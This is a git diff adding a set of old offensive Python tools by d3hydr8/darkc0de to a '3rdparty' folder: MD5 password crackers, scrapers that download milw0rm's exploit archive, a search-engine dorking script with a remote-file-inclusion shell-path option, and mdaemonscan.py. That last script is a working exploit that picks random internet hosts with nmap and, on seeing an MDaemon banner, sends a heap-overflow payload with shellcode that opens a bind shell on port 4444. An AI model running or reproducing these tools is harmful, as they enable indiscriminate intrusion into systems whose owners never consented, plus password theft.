diff --git a/3rdparty/md5crack_gui.pyw b/3rdparty/md5crack_gui.pyw
new file mode 100644
index 0000000..d90bdac
--- /dev/null
+++ b/3rdparty/md5crack_gui.pyw
@@ -0,0 +1,61 @@
+#MD5 Cracker (GUI Version)
+#d3hydr8[at]gmail[dot]com
+#http://www.darkc0de.com
+
+from Tkinter import *
+import tkFileDialog, md5
+
+class Application(Frame):
+	def __init__(self, master):
+		Frame.__init__(self, master)
+		self.grid()
+		self.create_widget()
+	def create_widget(self):
+		
+		self.lbl = Label(self, text = "ENTER MD5: ")
+		self.lbl.grid(row = 2, column = 0, sticky = E)
+		
+		self.pw_ent = Entry(self, width = 32)
+		self.pw_ent.grid(row = 2, column = 1, sticky = E)
+		
+		self.submit_bttn = Button(self, text = "Choose Wordlist", command = self.loadwords)
+		self.submit_bttn.grid(row = 5, column = 1, sticky = W)
+		
+		self.txtbox = Text(self, width = 55, height = 8, font=('Georgia', 8), bg = "#CCC", wrap = WORD)
+		self.txtbox.grid(row = 7, column = 0, columnspan = 2, sticky = W)
+
+		self.bttn1 = Button(self, text = "Crack", font=('courier', 10, 'bold'), command = self.crack)
+		self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")
+	
+		self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
+		self.clear.grid(row = 10, column = 1,sticky= E)
+		
+	def loadwords(self):
+		global wordlist
+		file = tkFileDialog.askopenfile(parent=root,mode='r',title='Choose a file')
+		wordlist = file.readlines()
+		self.txtbox.insert(END, "Loaded: "+str(len(wordlist))+" words")
+		
+	def crack(self):
+		pw = self.pw_ent.get()
+		if len(pw) == 32:
+			self.txtbox.insert(END, "\nCracking: "+pw)
+			for word in wordlist:
+				hash = md5.new(word.replace("\n","")).hexdigest()
+				if pw == hash:
+					self.txtbox.insert(END, "\n\nCracked: "+word)
+					break
+			self.txtbox.insert(END, "\nComplete")
+		else:
+			self.txtbox.insert(END, "\nImproper MD5 Length: "+str(len(pw)))
+			
+	def clear(self):
+		self.pw_ent.delete(0, END)
+   		self.txtbox.delete(0.0, END)
+		wordlist = []
+		
+root = Tk()
+root.title("MD5 Cracker")
+root.geometry("350x200")
+app = Application(root)
+root.mainloop()
diff --git a/3rdparty/md5db.py b/3rdparty/md5db.py
new file mode 100644
index 0000000..b498607
--- /dev/null
+++ b/3rdparty/md5db.py
@@ -0,0 +1,44 @@
+#!usr/bin/python
+#Creates a list of all the cracked milw0rm md5's 
+#and writes them to a file
+
+#Changelog: Writes md5s as it collects, added exception and time.sleep(x)
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, urllib2, time
+
+print "\n\t   d3hydr8[at]gmail[dot]com MD5-Collect v1.1"
+print "\t----------------------------------------------\n"
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./md5collect.py <file to save>"
+	print "Ex: ./md5collect.py <md5db.txt>\n"
+	sys.exit(1)
+
+start = 0
+file = open(sys.argv[1], "a")
+site = "http://www.milw0rm.com/cracker/list.php?start="
+
+print "[+] Collecting Database...\n"
+
+while 1:
+	try:
+		time.sleep(3)
+		source = urllib2.urlopen(site+str(start), "80").read()
+	except(urllib2.URLError):
+		pass
+	md5s = re.findall("[a-f0-9]"*32,source)
+	start +=30
+	for md5 in md5s:
+		file.writelines(md5+"\n")
+	print "[+] Collected:",len(md5s)
+	if len(md5s) == 0:
+		break
+	
+file.close()
+print "\n[+] Finished Collecting"
+print "[+] Wrote md5s:",sys.argv[1]
+print "\n[-] Done\n"
+
diff --git a/3rdparty/md5dbcrack.py b/3rdparty/md5dbcrack.py
new file mode 100644
index 0000000..5ea49d3
--- /dev/null
+++ b/3rdparty/md5dbcrack.py
@@ -0,0 +1,79 @@
+#!usr/bin/python
+#Creates a list of all the cracked milw0rm md5's 
+#and writes them to a file
+
+#Changelog: added exceptions for errors
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, urllib2, time, urllib
+
+def StripTags(text):
+    	finished = 0
+    	while not finished:
+        	finished = 1
+        	start = text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+    	return text
+
+def milw0rm(md5):
+	
+	time.sleep(2)
+	try:
+		site = urllib.urlopen(site1, urllib.urlencode({"hash": md5})).readlines()
+		for line in site:
+			if re.search(md5, line):
+				return StripTags(line).replace(md5,"").replace("md5","").replace("cracked","")
+	except:
+		pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com MD5DBCrack v1.1"
+print "\t----------------------------------------------\n"
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./md5dbcrack.py <file to save>"
+	print "Ex: ./md5dbcrack.py <md5db.txt>\n"
+	sys.exit(1)
+
+start = 0
+file = open(sys.argv[1], "a")
+site = "http://www.milw0rm.com/cracker/list.php?start="
+site1 = "http://www.milw0rm.com/md5/search.php"
+
+print "[+] Collecting Database...\n"
+
+while 1:
+	try:
+		time.sleep(3)
+		source = urllib2.urlopen(site+str(start), "80").read()
+	except(urllib2.URLError):
+		pass
+	md5s = re.findall("[a-f0-9]"*32,source)
+	print "\n[+] Collected:",len(md5s)
+	print "[+] Cracking MD5s\n"
+	start +=30
+	for md5 in md5s:
+		print "[+] Cracking:",md5
+		try:
+			crack = milw0rm(md5)
+			if crack[-1:] == "\n":
+				crack = crack[:-1]
+			crack = re.sub("\s","",crack)
+			if crack.find("processing") == -1 and crack != "notfound" and crack != "waiting":
+				print "\t[+] Password:",crack
+				file.writelines(md5+" : "+crack+"\n")
+		except(IOError, TypeError):
+			pass
+	if len(md5s) == 0:
+		break
+	
+file.close()
+print "\n[+] Finished Collecting"
+print "[+] Wrote md5s:",sys.argv[1]
+print "\n[-] Done\n"
+
diff --git a/3rdparty/md5gen.py b/3rdparty/md5gen.py
new file mode 100644
index 0000000..4bb2938
--- /dev/null
+++ b/3rdparty/md5gen.py
@@ -0,0 +1,13 @@
+#!/usr/bin/python
+
+import md5, sys
+
+if len(sys.argv) != 2:
+	print "Usage: ./md5gen.py <password>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+hash = md5.new()
+hash.update(pw)
+print "\nYour password hash:"
+print hash.hexdigest()
diff --git a/3rdparty/md5randcrack.py b/3rdparty/md5randcrack.py
new file mode 100644
index 0000000..fb360d9
--- /dev/null
+++ b/3rdparty/md5randcrack.py
@@ -0,0 +1,61 @@
+#!/usr/bin/python
+#Attempts to crack hash using random strings from 
+#a key length and alpha type. 
+#d3hydr8[at]gmail[dot]com 
+
+import md5, sys, random
+
+def passgen(choice, length):
+	
+	alphanum = ('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
+	alpha = ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
+	alphalower = ('abcdefghijklmnopqrstuvwxyz')
+	
+	if str(choice).lower() == "alphanum":
+		choice = alphanum
+
+	elif str(choice).lower() == "alpha":
+		choice = alpha
+			
+	elif str(choice).lower() == "alphalower":
+		choice = alphalower
+		
+	else: 
+		print "Type doesn't match\n"
+		sys.exit(3)
+		
+	passwd = ""
+	
+	return passwd.join(random.sample(choice, int(length)))
+
+#---------------------------------------------
+		
+if len(sys.argv) != 5:
+	print "\nUsage: ./md5randcrack.py <hash> <type> <length> <number>\n"
+	print "ex: ./md5randcrack.py 5f4dcc3b5aa765d61d8327deb882cf99 alphanum 7 10000\n"
+	sys.exit(1)
+
+pw = sys.argv[1]
+
+count = 0
+print "\n\t-d3hydr8[at]gmail[dot]com Random MD5 Cracker v1.0-" 
+print "\n+ hash:",pw
+print "+ type:",sys.argv[2]
+print "+ key_length:",sys.argv[3]
+print "+ attempts:",sys.argv[4],"\n"
+
+if len(pw) != 32:
+	print "Hash Incorrect\n" 
+	sys.exit(2)
+
+while count != int(sys.argv[4]):
+	count +=1
+	value = passgen(sys.argv[2], sys.argv[3])
+	if pw == md5.new(value).hexdigest():
+		print "Password:",value,"\n"
+	
+
+	
+
+
+
diff --git a/3rdparty/md5word.py b/3rdparty/md5word.py
new file mode 100644
index 0000000..ae21ebf
--- /dev/null
+++ b/3rdparty/md5word.py
@@ -0,0 +1,55 @@
+#!/usr/bin/python
+#Uses all wordlists in a dir to crack a hash.
+#
+#www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import md5, sys, os, time
+
+def getwords(wordlist):
+	try:
+  		file = open(wordlist, "r")
+		words = file.readlines()
+		file.close()
+	except(IOError),msg:
+		words = "" 
+  		print "Error:",msg
+  		pass
+	return words
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+if len(sys.argv) != 3:
+	print "Usage: ./md5word.py <hash> <wordlist dir>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+wordlists = os.listdir(sys.argv[2])
+
+print "\n   d3hydr8[at]gmail[dot]com md5word v1.0"
+print "-----------------------------------------"
+print "\n[+] Hash:",pw
+print "[+] Wordlists Loaded:",len(wordlists)
+print "[+] Started:",timer(),"\n"
+
+for lst in wordlists:
+	words = getwords(os.path.join(sys.argv[2],lst))
+	print "[+] List:",lst,"  Length:",len(words),"loaded"
+	for word in words:
+		hash = md5.new(word[:-1]).hexdigest()
+		if pw == hash: 
+			print "\n[+] Found Password:",os.path.join(sys.argv[2],lst)
+			print "[!] Password is:",word
+			print "\n[+] Done:",timer()
+			sys.exit(1)
+print "\n[+] Done:",timer()
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/mdaemonscan.py b/3rdparty/mdaemonscan.py
new file mode 100644
index 0000000..41b9b23
--- /dev/null
+++ b/3rdparty/mdaemonscan.py
@@ -0,0 +1,203 @@
+#!/usr/bin/python
+#Modified muts Mdaemon exploit to scan for random open 110 ports then 
+#check the banner for Mdaemon, if found, exploits it!!
+#d3hydr8[at]gmail[dot]com
+import sys, struct, socket, StringIO, re, commands
+from time import sleep
+########################################################################################
+# MDaemon Pre Authentication (USER) Heap Overflow 
+# Code based on Leon Juranic's exploit
+# Coded by muts - mati@see-security.com
+# http://www.hackingdefined.com
+# http://www.remote-exploit.org
+# Tested on:
+# 	Mdaemon 9.0.5
+# 	Mdaemon 7.2.3
+# 	Mdaemon 7.2.2
+# 	Mdaemon 7.2.1
+# 	Mdaemon 7.2.0
+#		Possibly Others
+#		PLEASE CONTINUE READING !
+# Huge greets to xbxice and talz for leading me away from the darkness
+########################################################################################
+# Mdaemon is wierd. It seems like their developers decided to annoy everyone
+# by making their software do unexpected things.
+# The exploit overwrites UnhandledExceptionFilter, and jumps to an egghunter
+# shellcode - which then scans the memory, and executes a bindshell on port 4444.
+# 
+# On some Win2k SP4 machines, I found SetUnhandledExceptionFilter at 0x00000214,
+# for which I unfortunately had no explenation. 
+# I later found out that these machines were fully patched ...
+# After inspecting kernel32.dll from my SP4 (not fully patched) and comparing it to 
+# todays' version, I noticed that the SetunhandledExceptionFilter function had changed, 
+# and looks suspiciously similar to XP SP2... 
+# Note that my unpatched win2k was last patched 2-3 weeks ago, 
+# so I suspect this change is recent.
+# The end of easy UnhandledExceptionFilter exploitation on Win2k ?
+#
+# So, this is a partially working exploit, on unpatched win2k boxes....
+# Kiddies, treat this exploit as DOS :)
+#
+# I got 3 types of results with this code:
+#
+# 1. Shell :)	
+# 2. Mdaemon process shoots up to 100%, scanning memory for shellcode that isn't there.
+# 3. Plain ugly crash - oh well.
+#
+# At minimum, I'de check the UnhandledExceptionFilter address before running the exploit.
+######################################################################################## 
+# 
+# C:\Documents and Settings\muts>nc -v 192.168.220.128 4444
+# 97DACBEC7CA4483 [192.168.220.128] 4444 (?) open
+# Microsoft Windows 2000 [Version 5.00.2195]
+# (C) Copyright 1985-2000 Microsoft Corp.
+# 
+# C:\MDaemon\APP>
+########################################################################################
+def exploit():  			
+
+	ret = struct.pack("<L",0x7c2f62b6)	# 7c2f62b6 advapi.dll JMP ESI+48 SP4 No Patches
+	ueh = struct.pack("<L",0x7C54144C)	# SetUnhandledExceptionFilter 0x7C54144C win2k SP4 No Patches
+	tap = struct.pack("<L",0xeb169090)  	# Short Jump over some garbage
+
+	# skape's egghunter shellcode 
+
+	egghunter  ="\xeb\x21\x59\xb8\x74\x30\x30\x77\x51\x6a\xff\x33\xdb\x64\x89\x23"
+	egghunter +="\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f"
+	egghunter +="\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8"
+	egghunter +="\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3"
+
+	# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
+
+	shellcode  ="\x90\x90\x74\x30\x30\x77\x74\x30\x30\x77" # t00wt00w (!)
+	shellcode +="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
+	shellcode +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
+	shellcode +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
+	shellcode +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
+	shellcode +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
+	shellcode +="\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38"
+	shellcode +="\x4e\x46\x46\x52\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x57"
+	shellcode +="\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
+	shellcode +="\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48"
+	shellcode +="\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
+	shellcode +="\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
+	shellcode +="\x46\x4f\x4b\x53\x46\x45\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x38"
+	shellcode +="\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
+	shellcode +="\x4b\x58\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x38"
+	shellcode +="\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x53\x4b\x4d"
+	shellcode +="\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x48\x42\x54\x4e\x30\x4b\x38"
+	shellcode +="\x42\x57\x4e\x51\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x45\x4a\x46"
+	shellcode +="\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
+	shellcode +="\x43\x35\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x36\x47\x47\x43\x57"
+	shellcode +="\x44\x33\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
+	shellcode +="\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e"
+	shellcode +="\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50"
+	shellcode +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
+	shellcode +="\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x34"
+	shellcode +="\x43\x45\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x51"
+	shellcode +="\x4e\x35\x48\x46\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a"
+	shellcode +="\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
+	shellcode +="\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x42"
+	shellcode +="\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"
+	shellcode +="\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x34\x47\x55\x4f\x4f\x48\x4d"
+	shellcode +="\x42\x35\x46\x35\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x56"
+	shellcode +="\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45"
+	shellcode +="\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x56\x4a\x46\x43\x46"
+	shellcode +="\x4d\x46\x49\x38\x45\x4e\x4c\x46\x42\x55\x49\x55\x49\x32\x4e\x4c"
+	shellcode +="\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
+	shellcode +="\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x52\x50\x4f\x44\x34\x4e\x42"
+	shellcode +="\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"
+	shellcode +="\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x44\x4f\x4f"
+	shellcode +="\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x55\x4c\x56"
+	shellcode +="\x41\x50\x41\x45\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
+	shellcode +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
+	shellcode +="\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x58\x47\x55\x4e\x4f"
+	shellcode +="\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
+	shellcode +="\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d"
+	shellcode +="\x4f\x4f\x42\x4d\x5a"
+
+	buffer ="AAA"+tap+"BBBB"+ret+ueh+"\x90"*90 +egghunter+"C"*346
+
+	for x in range(5):
+		try:
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.connect((host,port))
+			data=s.recv(1024)
+			print data
+			s.send('USER '+'@A' * 1600 + '\x90'*5945 + shellcode +'D'*3711 + '\r\n') 
+			s.send('QUIT\r\n')
+			s.close()
+			sleep(1)
+		except socket.error, msg:
+			print "An error occurred:", msg
+			s.close()
+		
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect((host,port))
+		data=s.recv(1024)
+		print data
+		s.send('USER ' + '@A@A'+ buffer + '\r\n')
+		data=s.recv(1024)
+		print data
+		s.send('USER ' + 'A' * 3370 + '\r\n')
+		s.close()
+	except socket.error, msg:
+			print "An error occurred:", msg
+			s.close()
+			
+	try:		
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect((host,port))
+		data=s.recv(1024)
+		print data
+		s.send('USER ' + '@A@A'+ buffer + '\r\n')
+		data=s.recv(1024)
+		print data
+		s.send('USER ' + 'A' * 3370 + '\r\n')
+		s.close()
+		sleep(1)
+	except socket.error, msg:
+			print "An error occurred:", msg
+			s.close()
+
+if len(sys.argv) != 2:
+	print "Usage: ./mdaemonscan.py <How many ips would you like to scan?>"
+	sys.exit(1)
+else:
+	num=sys.argv[1]
+	
+	print "\nScanning",num,"hosts for port 110 open to exploit...\n"
+	count = 0
+	while count != int(num):
+		count += 1
+		nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -p 25,110 -iR 1 | grep -B 4 open')[1]).readlines()
+		for tmp in nmap:
+			if re.search("110/tcp\s+(?=open)", tmp):
+				port = int(110)
+			if re.search("25/tcp\s+(?=open)", tmp):
+				port = int(25)
+		for tmp in nmap:
+			ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+			if ipaddr:
+				host = ipaddr[0]
+				print "\nFound port open on",host,"checking banner."
+	
+				try:
+					s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+					s.settimeout(10)
+					s.connect((host, port))
+					sleep(4)
+					s.send("\r\n")
+					response = s.recvfrom(1024)[0]
+					s.close()		
+					if re.search("mdaemon", response.lower()): 
+						print "\n\t\tMdaemon found in banner, attempting to exploit...\n"
+						exploit()
+					else: print "\n\t\tNo Match\n"
+				except socket.error, msg:
+					print "An error occurred:", msg
+					s.close()
+# milw0rm.com [2006-08-26]
+
diff --git a/3rdparty/milarchive.py b/3rdparty/milarchive.py
new file mode 100644
index 0000000..2f8c3c8
--- /dev/null
+++ b/3rdparty/milarchive.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python
+#Extracts exploit archive for remote 
+#ports and platforms from milw0rm.
+
+import urllib, tarfile, os
+
+HOME_DIR = "/home/d3hydr8/"
+
+#Make sure HOME_DIR ends with a "/"
+if HOME_DIR[-1] != "/":
+	HOME_DIR = HOME_DIR+"/"
+print "\n[+] Dir:",HOME_DIR,"\n"
+
+try:
+	os.chdir(HOME_DIR)
+except(OSError):
+	os.mkdir(HOME_DIR)
+	os.chdir(HOME_DIR)
+print "[!] Downloading file..."
+page = "http://www.milw0rm.com/sploits/milw0rm.tar.bz2"
+urllib.urlretrieve(page, "milw0rm.tar.bz2")
+print "[!] Extracting files..."
+tar = tarfile.open("milw0rm.tar.bz2")
+tar.extractall()
+tar.close()
+os.remove("milw0rm.tar.bz2")
+print "\n[!] Operation Complete\n"
+
+#Or
+#wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2
+#tar -xjvf milw0rm.tar.bz2
+#rm milw0rm.tar.bz2
+#:)
+
+
+
diff --git a/3rdparty/milsearch.py b/3rdparty/milsearch.py
new file mode 100644
index 0000000..4881304
--- /dev/null
+++ b/3rdparty/milsearch.py
@@ -0,0 +1,25 @@
+#!/usr/bin/python
+#Milw0rm exploits search tool.
+
+import urllib2, re, sys
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./milsearch.py "
+	print "Ex: ./milsearch.py phpmyadmin\n"
+	sys.exit(1)
+
+site = "http://www.milw0rm.com/search.php?dong="
+
+try:
+	source = urllib2.urlopen(site+sys.argv[1], "80").read()
+	xplts = re.findall("href=\"/exploits/\d+",source)
+	print "\n[+] Results Found:",len(xplts),"\n"
+except(urllib2.URLError):
+	xplts = []
+	pass
+if len(xplts) >=1:
+	for xplt in xplts:
+		xplt = xplt.replace("href=\"","")
+		print "http://milw0rm.com"+xplt
+else:
+	print "\nNo Results Found\n"
\ No newline at end of file
diff --git a/3rdparty/milupdate.py b/3rdparty/milupdate.py
new file mode 100644
index 0000000..367697d
--- /dev/null
+++ b/3rdparty/milupdate.py
@@ -0,0 +1,42 @@
+#!/usr/bin/python
+#Checks milw0rm.com for exploit updates.
+
+import urllib2, time, os, re, urllib
+
+HOME_DIR = "/home/d3hydr8/exploits"
+site = "http://www.milw0rm.com/"
+#Time to wait for update checks (in secs)
+TIME = "300"
+
+#Make sure HOME_DIR ends with a "/"
+if HOME_DIR[-1] != "/":
+	HOME_DIR = HOME_DIR+"/"
+print "\n[+] Dir:",HOME_DIR,"\n"
+HOME_DIR = HOME_DIR+"milw0rm/"
+
+try:
+	os.chdir(HOME_DIR)
+except(OSError):
+	os.mkdir(HOME_DIR)
+	os.chdir(HOME_DIR)
+
+done = []
+while 1:
+	time.sleep(int(TIME))
+	try:
+		source = urllib2.urlopen(site, "80").readlines()
+		for line in source:
+			if re.search("class=\"style15", line):
+				xplts = re.findall("href=\"/exploits/\d+", line)
+	except(urllib2.URLError):
+		xplts = []
+		pass
+	if len(xplts) >=1:
+		for xplt in xplts:
+			if xplt not in done:
+				done.append(xplt)
+				xplt = xplt.replace("href=\"","")
+				print "[+] Adding: http://www.milw0rm.com"+xplt
+				urllib.urlretrieve("http://www.milw0rm.com"+xplt, HOME_DIR+xplt.rsplit("/",1)[1])
+		print "[+] Collected:",len(done),"exploits\n"
+
diff --git a/3rdparty/milwebappext.py b/3rdparty/milwebappext.py
new file mode 100644
index 0000000..7f373da
--- /dev/null
+++ b/3rdparty/milwebappext.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python
+#Attempts to collect all webapp
+#exploits from milw0rms DB.
+
+import urllib2, time, os, re, urllib
+
+HOME_DIR = "/home/d3hydr8/exploits"
+site = "http://www.milw0rm.com/webapps.php?start="
+#Time to wait between page loads (in secs)
+TIME = "3"
+
+#Make sure HOME_DIR ends with a "/"
+if HOME_DIR[-1] != "/":
+	HOME_DIR = HOME_DIR+"/"
+print "\n[+] Dir:",HOME_DIR,"\n"
+HOME_DIR = HOME_DIR+"milw0rm/"
+
+try:
+	os.chdir(HOME_DIR)
+except(OSError):
+	os.mkdir(HOME_DIR)
+	os.chdir(HOME_DIR)
+	
+start = 0
+error = 0
+while error != 3:
+	try:
+		time.sleep(int(TIME))
+		print "[+] Page:",start
+		source = urllib2.urlopen(site+str(start), "80").read()
+		xplts = re.findall("href=\"/exploits/\d+",source)
+		print "[+] Exploits Found:",len(xplts)
+	except(urllib2.URLError):
+		xplt = []
+		pass
+	for xplt in xplts:
+		time.sleep(0.5)
+		xplt = xplt.replace("href=\"","")
+		urllib.urlretrieve("http://www.milw0rm.com"+xplt, HOME_DIR+xplt.rsplit("/",1)[1])
+	if len(xplt) == 0:
+		error +=1
+	start +=30
+print "\n[!] Operation Complete\n"
diff --git a/3rdparty/modlast.py b/3rdparty/modlast.py
new file mode 100644
index 0000000..6c371b5
--- /dev/null
+++ b/3rdparty/modlast.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+#Watches a log file for modifications and reports a change and how many bytes.
+#(This can be used for any file)
+#d3hydr8[at]gmail[dot]com
+
+import os, sys, time, pwd
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def gettime():
+	clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
+	return clock
+
+def getsize():
+	size = os.path.getsize(logfile)
+	return size
+	
+def title():
+	print "\n   d3hydr8[at]gmail[dot]com ModLast v1.0"
+	print "-------------------------------------------"
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./modlast.py <log_file> <secs to check>"
+	print "ex. ./modlast.py /var/log/apache/access_log 120\n"
+	sys.exit(1)
+
+logfile = sys.argv[1]
+if os.path.isfile(logfile) == False:
+	title()
+	print "\n[-] Cannot Open File, Check Full Path!!!\n"
+	sys.exit(1)
+	
+title()
+print "[+] Analyzing:",logfile
+print "[+] Time:",sys.argv[2],"secs"
+print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
+print "[+] Size:",getsize(),"bytes"
+print "[+] Last Modified:",gettime()
+print "[+] Starting:",timer()
+
+old_time = gettime()
+while True:
+	time.sleep(int(sys.argv[2]))
+	new_time = gettime()
+	if new_time != old_time:
+		print "\n[+] File Modified:",new_time
+		print "[+] New Size:",getsize(),"bytes\n"
+		old_time = new_time
+	#else:    
+		#print "\n[-] File Not Modified"
+		
+		
\ No newline at end of file
diff --git a/3rdparty/msn2text.py b/3rdparty/msn2text.py
new file mode 100644
index 0000000..7f3baa8
--- /dev/null
+++ b/3rdparty/msn2text.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python
+#Searches msn with a user defined query then writes the results to a file. Also can add shell 
+#location onto the end of the sites. This is alittle different than the goog2text scanner, it 
+#finds the entire http address.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2, sets
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+		  
+def getsites():
+	
+	page_counter=0
+	try:
+		#Change this 50 to search for more sites.(multiples of 10)
+    		while page_counter < int(sys.argv[2]):
+        		results_web = 'http://search.msn.com/results.aspx?q='+str(query)+'&first='+repr(page_counter)
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\w+\.[\w\-]*\.[\w\.\-/\?\=]*'),StripTags(text))
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to MSN Web!"+""
+	
+		  
+if len(sys.argv) != 4 and len(sys.argv) != 5:
+	print "\n   d3hydr8[at]gmail[dot]com MSN2Text v1.1"
+	print "------------------------------------------------"
+	print "\nUsage: ./msn2text.py <query> <how many> <file to save results> <rfi-path>"
+	print "Ex: ./msn2text.py \"inurl:/etc/shadow\" 200 results.txt /contact.php?dir=shell\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com msn2Text v1.1"
+	print "------------------------------------------------"
+	print "[+] Searching: search.msn.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	try:
+		print "[+] Shell:",sys.argv[4]
+	except(IndexError):
+		print "None"
+		pass
+
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
